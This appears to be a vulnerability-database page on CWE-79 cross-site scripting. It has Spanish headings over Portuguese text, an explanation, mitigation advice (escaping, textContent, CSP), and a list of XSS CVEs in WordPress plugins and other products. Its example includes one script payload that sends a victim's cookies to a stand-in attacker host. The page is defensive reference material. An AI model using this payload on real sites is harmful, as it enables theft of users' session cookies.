Fallos del tipo CWE-79

30.296 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-47518MEDIUMWordPress Contact Form 7 – PayPal & Stripe Add-on plugin <= 2.3.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-47343MEDIUMWordPress Mega Elements – Addons for Elementor plugin <= 1.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47516MEDIUMWordPress Time Clock plugin <= 1.2.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-11371MEDIUMBetterDocs < 4.5.5 - Unauthenticated Stored XSS via AI Doc Summarizer Prompt InjectionEPSS 0.3%CVE-2025-2330MEDIUMAll-in-One Addons for Elementor – WidgetKit <= 2.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via button+modal WidgetEPSS 0.3%CVE-2026-1647MEDIUMComment Genius <= 1.2.5 - Reflected Cross-Site Scripting via $_SERVER['PHP_SELF']EPSS 0.3%CVE-2026-109972MEDIUMs2Member <= 261011 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'date_format' Shortcode AttributeEPSS 0.3%CVE-2025-25017HIGHKibana Stored Cross-Site Scripting (XSS)EPSS 0.3%CVE-2025-44184MEDIUMSourceCodester Best Employee Management System V1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/profile.php via the website_image,EPSS 0.3%CVE-2024-47342MEDIUMWordPress Accordion plugin <= 2.2.99 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47615MEDIUMWordPress Amazon Product in a Post plugin <= 5.2.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-69229MEDIUMHTML injection vulnerability in Esri Portal for ArcGISEPSS 0.3%CVE-2025-30977MEDIUMWordPress Chaport <= 1.1.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-50432MEDIUMWordPress Post Grid and Gutenberg Blocks plugin <= 2.2.93 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37919MEDIUMWordPress Timeline Module for Beaver Builder plugin <= 1.1.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-61886MEDIUMAn Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability [CWE-79] vulnerability in Fortinet ForEPSS 0.3%CVE-2026-1037MEDIUMMultiple vulnerabilities affect IBM License Key Server Administration and Reporting Tool and IBM LKS Administration AgentEPSS 0.3%CVE-2025-12117MEDIUMRenden <= 1.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post TitleEPSS 0.3%CVE-2025-30634MEDIUMWordPress WP Featured Content Slider plugin <= 2.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-47521MEDIUMWordPress Robo Gallery plugin <= 5.0.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%